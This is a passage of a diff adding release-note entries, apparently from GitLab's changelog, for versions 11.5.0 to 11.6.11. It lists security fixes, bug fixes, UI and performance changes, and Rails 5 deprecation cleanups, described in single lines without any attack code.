+- Use reports syntax for Dependency scanning in Auto DevOps. !24081
+- Allow to include files from another projects in gitlab-ci.yml. !24101
+- User Popovers for Commit Infos, Member Lists and Snippets. !24132
+- Add no-color theme for syntax highlighting. (khm)
+
+### Other (45 changes, 30 of them are from the community)
+
+- Redesign project lists UI. !22682
+- [Rails5.1] Update functional specs to use new keyword format. !23095 (@blackst0ne)
+- Update a condition to visibility a merge request collaboration message. !23104 (Harry Kiselev)
+- Remove framework/mobile.scss. !23301 (Takuya Noguchi)
+- Passing the separator argument as a positional parameter is deprecated. !23334 (Jasper Maes)
+- Clarifies docs about CI `allow_failure`. !23367 (C.J. Jameson)
+- Refactor issuable sidebar to use serializer. !23379
+- Refactor the logic of updating head pipelines for merge requests. !23502
+- Allow user to add Kubernetes cluster for clusterable when there are ancestor clusters. !23569
+- Adds explanatory text to input fields on user profile settings page. !23673
+- Externalize strings from `/app/views/shared/notes`. !23696 (Tao Wang)
+- Remove rails 4 support in CI, Gemfiles, bin/ and config/. !23717 (Jasper Maes)
+- Fix calendar events fetching error on private profile page. !23718 (Harry Kiselev)
+- Update GitLab Workhorse to v8.0.0. !23740
+- Hide confidential events in the API. !23746
+- Changed Userpopover Fixtures and shadow color. !23768
+- Fix deprecation: Passing conditions to delete_all is deprecated. !23817 (Jasper Maes)
+- Fix deprecation: Passing ActiveRecord::Base objects to sanitize_sql_hash_for_assignment. !23818 (Jasper Maes)
+- Remove rails4 specific code. !23847 (Jasper Maes)
+- Remove deprecated ActionDispatch::ParamsParser. !23848 (Jasper Maes)
+- Fix deprecation: Comparing equality between ActionController::Parameters and a Hash is deprecated. !23855 (Jasper Maes)
+- Fix deprecation: Directly inheriting from ActiveRecord::Migration is deprecated. !23884 (Jasper Maes)
+- Fix deprecation: alias_method_chain is deprecated. Please, use Module#prepend instead. !23887 (Jasper Maes)
+- Update specs to exclude possible false positive pass. !23893 (@blackst0ne)
+- Passing an argument to force an association to reload is now deprecated. !23894 (Jasper Maes)
+- ActiveRecord::Migration -> ActiveRecord::Migration[5.0]. !23910 (Jasper Maes)
+- Split bio into individual line in extended user tooltips. !23940
+- Fix deprecation: redirect_to :back is deprecated. !23943 (Jasper Maes)
+- Fix deprecation: insert_sql is deprecated and will be removed. !23944 (Jasper Maes)
+- Upgrade @gitlab/ui to 1.16.2. !23946
+- convert specs in javascripts/ and support/ to new syntax. !23947 (Jasper Maes)
+- Remove deprecated xhr from specs. !23949 (Jasper Maes)
+- Remove app/views/shared/issuable/_filter.html.haml. !24008 (Takuya Noguchi)
+- Fix deprecation: Using positional arguments in integration tests. !24009 (Jasper Maes)
+- UI improvements for redesigned project lists. !24011
+- Update cert-manager chart from v0.5.0 to v0.5.2. !24025 (Takuya Noguchi)
+- Hide spinner on empty activities list on user profile overview. !24063
+- Don't show Auto DevOps enabled banner for projects with CI file or CI disabled. !24067
+- Update GitLab Runner Helm Chart to 0.1.43. !24083
+- Fix navigation style in docs. !24090 (Takuya Noguchi)
+- Remove gem install bundler from Docker-based Ruby environments. !24093 (Takuya Noguchi)
+- Fix deprecation: Using positional arguments in integration tests. !24110 (Jasper Maes)
+- Fix deprecation: returning false in Active Record and Active Model callbacks will not implicitly halt a callback chain. !24134 (Jasper Maes)
+- ActiveRecord::Migration -> ActiveRecord::Migration[5.0] for AddIndexesToCiBuildsAndPipelines. !24167 (Jasper Maes)
+- Update url placeholder for the sentry configuration page. !24338
+
+
+## 11.6.11 (2019-04-23)
+
+### Security (1 change)
+
+- Fixed ability to see private groups by users not belonging to given group.
+
+### Fixed (2 changes)
+
+- Bring back Rugged implementation of find_commit. !25477
+- Avoid excessive recursive calls with Rugged TreeEntries. !26813
+
+### Performance (1 change)
+
+- Bring back Rugged implementation of ListCommitsByOid. !27441
+
+### Other (4 changes)
+
+- Bring back Rugged implementation of GetTreeEntries. !25674
+- Bring back Rugged implementation of CommitIsAncestor. !25702
+- Bring back Rugged implementation of TreeEntry. !25706
+- Bring back Rugged implementation of commit_tree_entry. !25896
+
+
+## 11.6.10 (2019-02-28)
+
+### Security (21 changes)
+
+- Stop linking to unrecognized package sources. !55518
+- Check snippet attached file to be moved is within designated directory.
+- Fix potential Addressable::URI::InvalidURIError.
+- Do not display impersonated sessions under active sessions and remove ability to revoke session.
+- Display only information visible to current user on the Milestone page.
+- Show only merge requests visible to user on milestone detail page.
+- Disable issue boards API when issues are disabled.
+- Don't show new issue link after move when a user does not have permissions.
+- Fix git clone revealing private repo's presence.
+- Fix blind SSRF in Prometheus integration by checking URL before querying.
+- Check if desired milestone for an issue is available.
+- Don't allow non-members to see private related MRs.
+- Fix arbitrary file read via diffs during import.
+- Display the correct number of MRs a user has access to.
+- Forbid creating discussions for users with restricted access.
+- Do not disclose milestone titles for unauthorized users.
+- Validate session key when authorizing with GCP to create a cluster.
+- Block local URLs for Kubernetes integration.
+- Limit mermaid rendering to 5K characters.
+- Remove the possibility to share a project with a group that a user is not a member of.
+- Fix leaking private repository information in API.
+
+
+## 11.6.9 (2019-02-04)
+
+### Security (1 change)
+
+- Use sanitized user status message for user popover.
+
+
+## 11.6.8 (2019-01-30)
+
+- No changes.
+
+## 11.6.5 (2019-01-17)
+
+### Fixed (5 changes)
+
+- Add syntax highlighting to suggestion diff. !24156
+- Fix broken templated "Too many changes to show" text. !24282
+- Fix requests profiler in admin page not rendering HTML properly. !24291
+- Fix no avatar not showing in user selection box. !24346
+- Fixed diff suggestions removing dashes.
+
+
+## 11.6.4 (2019-01-15)
+
+### Security (1 change)
+
+- Validate bundle files before unpacking them.
+
+
+## 11.6.3 (2019-01-04)
+
+### Fixed (1 change)
+
+- Fix clone URL not showing if protocol is HTTPS. !24131
+
+
+## 11.6.2 (2019-01-02)
+
+### Fixed (7 changes)
+
+- Hide cluster features that don't work yet with Group Clusters. !23935
+- Fix a 500 error that could occur until all migrations are done. !23939
+- Fix missing Git clone button when protocol restriction setting enabled. !24015
+- Fix clone dropdown parent inheritance issues in HAML. !24029
+- Fix content-disposition in blobs and files API endpoint. !24078
+- Fixed markdown toolbar buttons.
+- Adjust line-height of blame view line numbers.
+
+
+## 11.6.1 (2018-12-28)
+
+### Security (15 changes)
+
+- Escape label and milestone titles to prevent XSS in GFM autocomplete. !2740
+- Prevent private snippets from being embeddable.
+- Add subresources removal to member destroy service.
+- Escape html entities in LabelReferenceFilter when no label found.
+- Allow changing group CI/CD settings only for owners.
+- Authorize before reading job information via API.
+- Prevent leaking protected variables for ambiguous refs.
+- Ensure that build token is only used when running.
+- Issuable no longer is visible to users when project can't be viewed.
+- Don't expose cross project repositories through diffs when creating merge reqeusts.
+- Fix SSRF with import_url and remote mirror url.
+- Fix persistent symlink in project import.
+- Set URL rel attribute for broken URLs.
+- Project guests no longer are able to see refs page.
+- Delete confidential todos for user when downgraded to Guest.
+
+### Other (1 change)
+
+- Fix due date test. !23845
+
+
+## 11.6.0 (2018-12-22)
+
+### Security (24 changes, 1 of them is from the community)
+
+- Fix possible XSS attack in Markdown urls with spaces. !2599
+- Update rack to 2.0.6 (for QA environments). !23171 (Takuya Noguchi)
+- Bump nokogiri, loofah, and rack gems for security updates. !23204
+- Encrypt runners tokens. !23412
+- Encrypt CI/CD builds authentication tokens. !23436
+- Configure mermaid to not render HTML content in diagrams.
+- Fix a possible symlink time of check to time of use race condition in GitLab Pages.
+- Removed ability to see private group names when the group id is entered in the url.
+- Fix stored XSS for Environments.
+- Fix persistent symlink in project import.
+- Fixed ability of guest users to edit/delete comments on locked or confidential issues.
+- Fixed ability to comment on locked/confidential issues.
+- Fix CRLF vulnerability in Project hooks.
+- Fix SSRF in project integrations.
+- Resolve reflected XSS in Ouath authorize window.
+- Restrict Personal Access Tokens to API scope on web requests.
+- Provide email notification when a user changes their email address.
+- Don't expose confidential information in commit message list.
+- Validate LFS hrefs before downloading them.
+- Do not follow redirects in Prometheus service when making http requests to the configured api url.
+- Escape user fullname while rendering autocomplete template to prevent XSS.
+- Redact sensitive information on gitlab-workhorse log.
+- Fix milestone promotion authorization check.
+- Prevent a path traversal attack on global file templates.
+
+### Removed (1 change)
+
+- Remove obsolete gitlab_shell rake tasks. !22417
+
+### Fixed (86 changes, 13 of them are from the community)
+
+- Remove limit of 100 when searching repository code. !8671
+- Show error message when attempting to reopen an MR and there is an open MR for the same branch. !16447 (Akos Gyimesi)
+- Fix a bug where internal email pattern wasn't respected. !22516
+- Fix project selector consistency in groups issues / MRs / boards pages. !22612 (Heinrich Lee Yu)
+- Add empty state for graphs with no values. !22630
+- Fix navigating by unresolved discussions on Merge Request page. !22789
+- Fix "merged with [commit]" info for merge requests being merged automatically by other actions. !22794
+- Fixing regression issues on pages settings and details. !22821
+- Remove duplicate primary button in dashboard snippets on small viewports. !22902 (George Tsiolis)
+- Fix API::Namespaces routing to accept namepaces with dots. !22912
+- Switch kubernetes:active with checking in Auto-DevOps.gitlab-ci.yml. !22929
+- Avoid Gitaly RPC errors when fetching diff stats. !22995
+- Removes promote to group label for anonymous user. !23042 (Jacopo Beschi @jacopo-beschi)
+- Fix enabling project deploy key for admins. !23043
+- Align issue status label and confidential icon. !23046 (George Tsiolis)
+- Fix default sorting for subgroups and projects list. !23058 (Jacopo Beschi @jacopo-beschi)
+- Hashed Storage: allow migration to be retried in partially migrated projects. !23087
+- Fix line height of numbers in file blame view. !23090 (Johann Hubert Sonntagbauer)
+- Fixes an issue where default values from models would override values set in the interface (e.g. users would be set to external even though their emails matches the internal email address pattern). !23114
+- Remove display of local Sidekiq process in /admin/sidekiq. !23118
+- Fix unrelated deployment status in MR widget. !23175
+- Respect confirmed flag on secondary emails. !23181
+- Restrict member access level to be higher than that of any parent group. !23226
+- Return real deployment status to frontend. !23270
+- Handle force_remove_source_branch when creating merge request. !23281
+- Avoid creating invalid refs using rugged, shelling out for writing refs. !23286
+- Remove needless auto-capitalization on Wiki page titles. !23288
+- Modify the wording for the knative cluster application to match upstream. !23289 (Chris Baumbauer)
+- Change container width for project import. !23318 (George Tsiolis)
+- Validate chunk size when persist. !23341
+- Resolve Main navbar is broken in certain viewport widths. !23348
+- Gracefully handle references with null bytes. !23365
+- Display commit ID for commit diff discussion on merge request. !23370
+- Pass commit when posting diff discussions. !23371
+- Fix flash notice styling for fluid layout. !23382
+- Add monkey patch to unicorn to fix eof? problem. !23385
+- Commits API: Preserve file content in move operations if unspecified. !23387
+- Disable password autocomplete in mirror form fill. !23402
+- Fix "protected branches only" checkbox not set properly at init. !23409
+- Support RSA and ECDSA algorithms in Omniauth JWT provider. !23411 (Michael Tsyganov)
+- Make KUBECONFIG nil if KUBE_TOKEN is nil. !23414
+- Allow search and sort users at same time on admin users page. !23439
+- Fix: Unstar icon button is misaligned. !23444
+- Fix error when searching for group issues with priority or popularity sort. !23445
+- Fix Order By dropdown menu styling in tablet and mobile screens. !23446
+- Fix collapsing discussion replies. !23462
+- Gracefully handle unknown/invalid GPG keys. !23492
+- Fix multiple commits shade overlapping vertical discussion line. !23515
+- Use read_repository scope on read-only files API. !23534
+- Avoid 500's when serializing legacy diff notes. !23544
+- Fix web hook functionality when the database encryption key is too short. !23573
+- Hide Knative from group cluster applications until supported. !23577
+- Add top padding for nested environment items loading icon. !23580 (George Tsiolis)
+- Improve help and validation sections of maximum build timeout inputs. !23586
+- Fix milestone select in issue sidebar of issue boards. !23625
+- Fix gitlab:web_hook tasks. !23635
+- Avoid caching BroadcastMessage as an ActiveRecord object. !23662
+- Only allow strings in URL::Sanitizer.valid?. !23675
+- Fix a frozen string error in app/mailers/notify.rb. !23683
+- Fix a frozen string error in lib/gitlab/utils.rb. !23690
+- Fix MR resolved discussion counts being too low. !23710
+- Fix a potential frozen string error in app/mailers/notify.rb. !23728
+- Remove unnecessary div from MarkdownField to apply list styles correctly. !23733
+- Display reply field if resolved discussion has no replies. !23801
+- Restore kubernetes:active in Auto-DevOps.gitlab-ci.yml (reverts 22929). !23826
+- Fix mergeUrlParams with fragment URL. !54218 (Thomas Holder)
+- Fixed multiple diff line discussions not expanding.
+- Fixed diff files expanding not loading commit content.
+- Fixed styling of image comment badges on commits.
+- Resolve possible cherry pick API race condition.
+- When user clicks linenumber in MR changes, highlight that line.
+- Remove old webhook logs after 90 days, as documented, instead of after 2.
+- Add an external IP address to the knative cluster application page. (Chris Baumbauer)
+- Fixed duplicate discussions getting added to diff lines.
+- Fix deadlock on ChunkedIO.
+- Show tree collapse button for merge request commit diffs.
+- Use approximate count for big tables for usage statistics.
+- Lock writes to trace stream.
+- Ensure that SVG sprite icons are properly rendered in IE11.
+- Make new branch form fields' fonts consistent.
+- Open first 10 merge request files in IDE.
+- Prevent user from navigating away from file edit without commit.
+- Prevent empty button being rendered in empty state.
+- Adds margins between tags when a job is stuck.
+- Fix Image Lazy Loader for some older browsers.
+- Correctly styles tags in sidebar for job page.
+
+### Changed (34 changes, 9 of them are from the community)
+
+- Include new link in breadcrumb for issues, merge requests, milestones, and labels. !18515 (George Tsiolis)
+- Allow sorting issues and MRs in reverse order. !21438
+- Design improvements to project overview page. !22196
+- Remove auto deactivation when failed to create a pipeline via pipeline schedules. !22243
+- Use group clusters when deploying (DeploymentPlatform). !22308
+- Improve initial discussion rendering performance. !22607
+- removes partially matching of No Label filter and makes it case-insensitive. !22622 (Jacopo Beschi @jacopo-beschi)
+- Use search bar for filtering in dashboard issues / MRs. !22641 (Heinrich Lee Yu)
+- Show different empty state for filtered issues and MRs. !22775 (Heinrich Lee Yu)
+- Relocate JSONWebToken::HMACToken from EE. !22906
+- Resolve Add border around the repository file tree. !23018
+- Change breadcrumb title for contribution charts. !23071 (George Tsiolis)
+- Update environments metrics empty state. !23074 (George Tsiolis)
+- Refine cursor positioning in Markdown Editor for wrap tags. !23085 (Johann Hubert Sonntagbauer)
+- Use reports syntax for SAST in Auto DevOps. !23163
+- SystemCheck: Use a more reliable way to detect current Ruby version. !23291
+- Changed frontmatter filtering to support YAML, JSON, TOML, and arbitrary languages. !23331 (Travis Miller)
+- Don't remove failed install pods after installing GitLab managed applications. !23350
+- Expose merge request pipeline variables. !23398
+- Scope default MR search in WebIDE dropdown to current project. !23400
+- Show user contributions in correct timezone within user profile. !23419
+- Redesign of MR header sections (CE). !23465
+- Auto DevOps: Add echo for each branch of the deploy() function where we run helm upgrade. !23499
+- Updates service to update Kubernetes project namespaces and restricted service account if present. !23525
+- Adjust divider margin to comply with design specs. !23548
+- Adjust dropdown item and header padding to comply with design specs. !23552
+- Truncate merge request titles with periods instead of ellipsis. !23558
+- Remove close icon from projects dropdown in issue boards. !23567
+- Change dropdown divider color to gray-200 (#dfdfdf). !23592
+- Define the default value for only/except policies. !23765
+- Don't show Memory Usage for unmerged MRs.
+- reorder notification settings by noisy-ness. (C.J. Jameson)
+- Changed merge request filtering to be by path instead of name.
+- Make diff file headers sticky.
+
+### Performance (22 changes, 6 of them are from the community)
+
+- Upgrade to Ruby 2.5.3. !2806
+- Removes all the irrelevant code and columns that were migrated from the Project table over to the ProjectImportState table. !21497
+- Approximate counting strategy with TABLESAMPLE. !22650
+- Replace tooltip directive with gl-tooltip diretive in badges, cycle analytics, and diffs. !22770 (George Tsiolis)
+- Validate foreign keys being created and indexed for column with _id. !22808
+- Remove monospace extend. !23089 (George Tsiolis)
+- Use Nokogiri as the ActiveSupport XML backend. !23136
+- Improve memory performance by reducing dirty pages after fork(). !23169
+- Add partial index for ci_builds on project_id and status. !23268
+- Reduce Gitaly calls in projects dashboard. !23307
+- Batch load only data from same repository when lazy object is accessed. !23309
+- Add index for events on project_id and created_at. !23354
+- Remove index for notes on updated_at. !23356
+- Improves performance of Project#readme_url by caching the README path. !23357
+- Populate MR metrics with events table information (migration). !23564
+- Remove unused data from discussions endpoint. !23570
+- Speed up issue board lists in groups with many projects.
+- Use cached size when passing artifacts to Runner.
+- Enable even more frozen string for lib/gitlab. (gfyoung)
+- Enable even more frozen string in lib/gitlab/**/*.rb. (gfyoung)
+- Enable even more frozen string in lib/gitlab/**/*.rb. (gfyoung)
+- Enable even more frozen string for lib/gitlab. (gfyoung)
+
+### Added (32 changes, 13 of them are from the community)
+
+- Add ability to create group level clusters and install gitlab managed applications. !22450
+- Creates /create_merge_request quickaction. !22485 (Jacopo Beschi @jacopo-beschi)
+- Filter by None/Any for labels in issues/mrs API. !22622 (Jacopo Beschi @jacopo-beschi)
+- Chat message push notifications now include links back to GitLab branches. !22651 (Tony Castrogiovanni)
+- Added feature flag to signal content headers detection by Workhorse. !22667
+- Add Discord integration. !22684 (@blackst0ne)
+- Upgrade helm to 2.11.0 and upgrade on every install. !22693
+- Add knative client to kubeclient library. !22968 (cab105)
+- Allow SSH public-key authentication for push mirroring. !22982
+- Allow deleting a Pipeline via the API. !22988
+- #40635: Adds support for cert-manager. !23036 (Amit Rathi)
+- WebIDE: Pressing Ctrl-Enter while typing on the commit message now performs the commit action. !23049 (Thomas Pathier)
+- Adds Any option to label filters. !23111 (Jacopo Beschi @jacopo-beschi)
+- Added glob for CI changes detection. !23128 (Kirill Zaitsev)
+- Add model and relation to store repo full path in database. !23143
+- Add ability to render suggestions. !23147
+- Introduce Knative and Serverless Components. !23174 (Chris Baumbauer)
+- Use BFG object maps to clean projects. !23189
+- Merge request pipelines. !23217
+- Extended user centric tooltips on issue and MR page. !23231
+- Add a rebase API endpoint for merge requests. !23296
+- Add config to prohibit impersonation. !23338
+- Merge request pipeline tag, and adds tags to pipeline view. !23364
+- #52753: HTTPS for JupyterHub installation. !23479 (Amit Rathi)
+- Fill project_repositories for hashed storage projects. !23482
+- Ability to override email for cert-manager. !23503 (Amit Rathi)
+- Allow public forks to be deduplicated. !23508
+- Pipeline trigger variable values are hidden in the UI by default. Maintainers have the option to reveal them. !23518 (jhampton)
+- Add new endpoint to download single artifact file for a ref. !23538
+- Log and pass correlation-id between Unicorn, Sidekiq and Gitaly.
+- Allow user to scroll to top of tab on MR page.
+- Adds states to the deployment widget.
+
+### Other (54 changes, 30 of them are from the community)
+
+- Switch to Rails 5. !21492
+- Migration to write fullpath in all repository configs. !22322
+- Rails5: env is deprecated and will be removed from Rails 5.1. !22626 (Jasper Maes)
+- Update haml_lint to 0.28.0. !22660 (Takuya Noguchi)
+- Update ffaker to 2.10.0. !22661 (Takuya Noguchi)
+- Drop gcp_clusters table. !22713
+- Upgrade minimum required Git version to 2.18.0. !22803
+- Adds new icon size to Vue icon component. !22899
+- Make sure there's only one slash as path separator. !22954
+- Show HTTP response code for Kubernetes errors. !22964
+- Update config map for gitlab managed application if already present on install. !22969
+- Drop default value on status column in deployments table. !22971
+- UI improvements to user's profile. !22977
+- Update asana to 0.8.1. !23039 (Takuya Noguchi)
+- Update asciidoctor to 1.5.8. !23047 (Takuya Noguchi)
+- Make auto-generated icons for subgroups in the breadcrumb dropdown display as a circle. !23062 (Thomas Pathier)
+- Make reply shortcut only quote selected discussion text. !23096 (Thomas Pathier)
+- Fix typo in notebook props. !23103 (George Tsiolis)
+- Fix typos in lib. !23106 (George Tsiolis)
+- Rename diffs store variable. !23123 (George Tsiolis)
+- Fix overlapping navbar separator and overflowing navbar dropdown on small displays. !23126 (Thomas Pathier)
+- Show what RPC is called in the performance bar. !23140
+- Updated Gitaly to v0.133.0. !23148
+- Rails5: Passing a class as a value in an Active Record query is deprecated. !23164 (Jasper Maes)
+- Fix project identicon aligning Harry Kiselev. !23166 (Harry Kiselev)
+- Fix horizontal scrollbar overlapping on horizontal scrolling-tabs. !23167 (Harry Kiselev)
+- Fix bottom paddings of profile header and some markup updates of profile. !23168 (Harry Kiselev)
+- Fixes to AWS documentation spelling and grammar. !23198 (Brendan O'Leary)
+- Adds a PHILOSOPHY.md which references GitLab Product Handbook. !23200
+- Externalize strings from `/app/views/invites`. !23205 (Tao Wang)
+- Externalize strings from `/app/views/project/runners`. !23208 (Tao Wang)
+- Fix typo for scheduled pipeline. !23218 (Davy Defaud)
+- Force content disposition attachment to several endpoints. !23223
+- Upgrade kubeclient to 4.0.0. !23261 (Praveen Arimbrathodiyil @pravi)
+- Update used version of Runner Helm Chart to 0.1.38. !23304
+- render :nothing option is deprecated, Use head method to respond with empty response body. !23311 (Jasper Maes)
+- Passing an argument to force an association to reload is now deprecated. !23334 (Jasper Maes)
+- Externalize strings from `/app/views/snippets`. !23351 (Tao Wang)
+- Fix deprecation: You are passing an instance of ActiveRecord::Base to. !23369 (Jasper Maes)
+- Resolve status emoji being replaced by avatar on mobile. !23408
+- Fix deprecation: render :text is deprecated because it does not actually render a text/plain response. !23425 (Jasper Maes)
+- Fix lack of documentation on how to fetch a snippet's content using API. !23448 (Colin Leroy)
+- Upgrade GitLab Workhorse to v7.3.0. !23489
+- Fallback to admin KUBE_TOKEN for project clusters only. !23527
+- Update used version of Runner Helm Chart to 0.1.39. !23633
+- Show primary button when all labels are prioritized. !23648 (George Tsiolis)
+- Upgrade workhorse to 7.6.0. !23694
+- Upgrade Gitaly to v1.7.1 for correlation-id logging. !23732
+- Fix due date test. !23845
+- Remove unused project method. !54103 (George Tsiolis)
+- Uses new gitlab-ui components in Jobs and Pipelines components.
+- Replaces tooltip directive with the new gl-tooltip directive for consistency in some ci/cd code.
+- Bump gpgme gem version from 2.0.13 to 2.0.18. (asaparov)
+- Enable Rubocop on lib/gitlab. (gfyoung)
+
+
+## 11.5.11 (2019-04-23)
+
+### Fixed (2 changes)
+
+- Bring back Rugged implementation of find_commit. !25477
+- Avoid excessive recursive calls with Rugged TreeEntries. !26813
+
+### Performance (1 change)
+
+- Bring back Rugged implementation of ListCommitsByOid. !27441
+
+### Other (4 changes)
+
+- Bring back Rugged implementation of GetTreeEntries. !25674
+- Bring back Rugged implementation of CommitIsAncestor. !25702
+- Bring back Rugged implementation of TreeEntry. !25706
+- Bring back Rugged implementation of commit_tree_entry. !25896
+
+
+## 11.5.8 (2019-01-28)
+
+### Security (21 changes)
+
+- Make potentially malicious links more visible in the UI and scrub RTLO chars from links. !2770
+- Don't process MR refs for guests in the notes. !2771
+- Fixed XSS content in KaTex links.
+- Verify that LFS upload requests are genuine.
+- Extract GitLab Pages using RubyZip.
+- Prevent awarding emojis to notes whose parent is not visible to user.
+- Prevent unauthorized replies when discussion is locked or confidential.
+- Disable git v2 protocol temporarily.
+- Fix showing ci status for guest users when public pipline are not set.
+- Fix contributed projects info still visible when user enable private profile.
+- Disallows unauthorized users from accessing the pipelines section.
+- Add more LFS validations to prevent forgery.
+- Use common error for unauthenticated users when creating issues.
+- Fix slow regex in project reference pattern.
+- Fix private user email being visible in push (and tag push) webhooks.
+- Fix wiki access rights when external wiki is enabled.
+- Fix path disclosure on project import error.
+- Restrict project import visibility based on its group.
+- Expose CI/CD trigger token only to the trigger owner.
+- Notify only users who can access the project on project move.
+- Alias GitHub and BitBucket OAuth2 callback URLs.
+
+
+## 11.5.5 (2018-12-20)
+
+### Security (1 change)
+
+- Fix persistent symlink in project import.
+
+
+## 11.5.3 (2018-12-06)
+
+### Security (1 change)
+
+- Prevent a path traversal attack on global file templates.
+
+
+## 11.5.2 (2018-12-03)
+
+### Removed (1 change)
+
+- Removed Site Statistics optimization as it was causing problems. !23314
+
+### Fixed (6 changes, 1 of them is from the community)
+
+- Display impersonation token value only after creation. !22916
+- Fix not render emoji in filter dropdown. !23112 (Hiroyuki Sato)
+- Fixes stuck tooltip on stop env button. !23244
+- Correctly handle data-loss scenarios when encrypting columns. !23306
+- Clear BatchLoader context between Sidekiq jobs. !23308
+- Fix handling of filenames with hash characters in tree view. !23368
+
+
+## 11.5.1 (2018-11-26)
+
+### Security (17 changes)
+
+- Escape user fullname while rendering autocomplete template to prevent XSS.
+- Fix CRLF vulnerability in Project hooks.
+- Fix possible XSS attack in Markdown urls with spaces.
+- Redact sensitive information on gitlab-workhorse log.
+- Do not follow redirects in Prometheus service when making http requests to the configured api url.
+- Don't expose confidential information in commit message list.
+- Provide email notification when a user changes their email address.
+- Restrict Personal Access Tokens to API scope on web requests.
+- Resolve reflected XSS in Ouath authorize window.
+- Fix SSRF in project integrations.
+- Fixed ability to comment on locked/confidential issues.
+- Fixed ability of guest users to edit/delete comments on locked or confidential issues.
+- Fix milestone promotion authorization check.
+- Configure mermaid to not render HTML content in diagrams.
+- Fix a possible symlink time of check to time of use race condition in GitLab Pages.
+- Removed ability to see private group names when the group id is entered in the url.
+- Fix stored XSS for Environments.
+
+
+## 11.5.0 (2018-11-22)
+
+### Security (10 changes, 1 of them is from the community)
+
+- Escape entity title while autocomplete template rendering to prevent XSS. !2556
+- Update moment to 2.22.2. !22648 (Takuya Noguchi)
+- Redact personal tokens in unsubscribe links.
+- Escape user fullname while rendering autocomplete template to prevent XSS.
+- Persist only SHA digest of PersonalAccessToken#token.
+- Monkey kubeclient to not follow any redirects.
+- Prevent SSRF attacks in HipChat integration.
+- Prevent templated services from being imported.
+- Validate Wiki attachments are valid temporary files.
+- Fix XSS in merge request source branch name.
+
+### Removed (2 changes)
+
+- Remove Git circuit breaker. !22212
+- Remove Koding integration and documentation. !22334
+
+### Fixed (74 changes, 15 of them are from the community)
+
+- Hide all tables on Pipeline when no Jobs for the Pipeline. !18540 (Takuya Noguchi)
+- Fixing count on Milestones. !21446
+- Use case insensitive username lookups. !21728 (William George)
+- Correctly process Bamboo API result array. !21970 (Alex Lossent)
+- Fix 'merged with' UI being displayed when merge request has no merge commit. !22022
+- Fix broken file name navigation on MRs. !22109
+- Fix incorrect spacing between buttons when commenting on a MR. !22135
+- Vertical align Pipeline Graph in Commit Page. !22173 (Johann Hubert Sonntagbauer)
+- Reject invalid branch names in repository compare controller. !22186
+- Fix size of emojis of user status in user menu. !22194
+- Use the standard PIP_CACHE_DIR for Python dependency caching template. !22211 (Takuya Noguchi)
+- Fix bug with wiki attachments content disposition. !22220
+- Does not allow a SSH URI when importing new projects. !22309
+- fix duplicated key in license management job auto devops gitlab ci template. !22311 (Adam Lemanski)
+- Fix commit signature error when project is disabled. !22344
+- Show available clusters when installed or updated. !22356
+- Fix auto-corrected upload URLs in webhooks. !22361
+- Fix a bug displaying certain wiki pages. !22377
+- Fix prometheus graphs in firefox. !22400
+- Resolve assign-me quick action doesn't work if there is extra white space. !22402
+- Remove base64 encoding from files that contain plain text. !22425
+- Strip whitespace around GitHub personal access tokens. !22432
+- Fix 500 error when testing webhooks with redirect loops. !22447 (Heinrich Lee Yu)
+- Fix rendering of 'Protected' value on Runner details page. !22459
+- Fix bug stopping non-admin users from changing visibility level on group creation. !22468
+- Make Issue Board sidebar show project-specific labels based on selected Issue. !22475
+- Fix EOF detection with CI artifacts metadata. !22479
+- Fix transient spec error in the bar_chart component. !22495
+- Resolve LFS not correctly showing enabled. !22501
+- If user was not found, service hooks won't run on post receive background job. !22519
+- Fix broken "Show whitespace changes" button on MRs. !22539
+- Always show new issue button in boards' Open list. !22557 (Heinrich Lee Yu)
+- Add transparent background to markdown header tabs. !22565 (George Tsiolis)
+- Use gitlab_environment for ldap rake task. !22582
+- Add commit message to commit tree anchor title. !22585
+- Cache pipeline status per SHA. !22589
+- Change HELM_HOST in Auto-DevOps template to work behind proxy. !22596 (Sergej Nikolaev <kinolaev@gmail.com>)
+- Show user status for label events in system notes. !22609
+- Fix extra merge request versions created from forked merge requests. !22611
+- Remove PersonalAccessTokensFinder#find_by method. !22617
+- Fix search "all in GitLab" not working with relative URLs. !22644
+- Fix quick links button styles. !22657 (George Tsiolis)
+- Fix #53298: JupyterHub restarts should work without errors. !22671 (Amit Rathi)
+- Fix incompatibility with IE11 due to non-transpiled gitlab-ui components. !22695
+- Fix bug when links in tabs of the labels index pages ends with .html. !22716
+- Fixed label removal from issue. !22762
+- Align toggle sidebar button across all browsers and OSs. !22771
+- Disable replication lag check for Aurora PostgreSQL databases. !22786
+- Render unescaped link for failed pipeline status. !22807
+- Fix misaligned approvers dropdown. !22832
+- Fix bug with wiki page create message. !22849
+- Fix rendering of filter bar tokens for special values. !22865 (Heinrich Lee Yu)
+- Align sign in button. !22888 (George Tsiolis)
+- Fix error handling bugs in kubernetes integration. !22922
+- Fix deployment jobs using nil KUBE_TOKEN due to migration issue. !23009
+- Avoid returning deployment metrics url to MR widget when the deployment is not successful. !23010
+- Fix a race condition intermittently breaking GitLab startup. !23028
+- Adds margin after a deleted branch name in the activity feed. !23038
+- Ignore environment validation failure. !23100
+- Adds CI favicon back to jobs page.
+- Redirect to the pipeline builds page when a build is canceled. (Eva Kadlecova)
+- Fixed diff stats not showing when performance bar is enabled.
+- Show expand all diffs button when a single diff file is collapsed.
+- Clear fetched file templates when changing template type in Web IDE.
+- Fix bug causing not all emails to show up in commit email selectbox.
+- Remove duplicate escape in job sidebar.
+- Fixing styling issues on the scheduled pipelines page.
+- Fixes broken test in master.
+- Renders stuck block when runners are stuck.
+- Removes extra border from test reports in the merge request widget.
+- Fixes broken borders for reports section in MR widget.
+- Only render link to branch when branch still exists in pipeline page.
+- Fixed source project not filtering in merge request creation compare form.
+- Do not reload self on hooks when creating deployment.
+
+### Changed (38 changes, 12 of them are from the community)
+
+- Link button in markdown editor recognize URLs. !1983 (Johann Hubert Sonntagbauer)
+- Replace i to icons in vue components. !20748 (George Tsiolis)
+- Remove Linguist gem, reducing Rails memory usage by 128MB per process. !21008
+- Issue board card design. !21229
+- On deletion of a file in sub directory in web IDE redirect to the sub directory instead of project root. !21465 (George Thomas @thegeorgeous)
+- Change single-item breadcrumbs to page titles. !22155
+- Improving branch filter sorting by listing exact matches first and added support for begins_with (^) and ends_with ($) matching. !22166 (Jason Rutherford)
+- Remove legacy unencrypted webhook columns from the database. !22199
+- Show canary status in the performance bar. !22222
+- Add failure reason for execution timeout. !22224
+- Rename "scheduled" label/badge of delayed jobs to "delayed". !22245
+- Update the empty state on wiki-only projects to display an empty state that is more consistent with the rest of the system. !22262
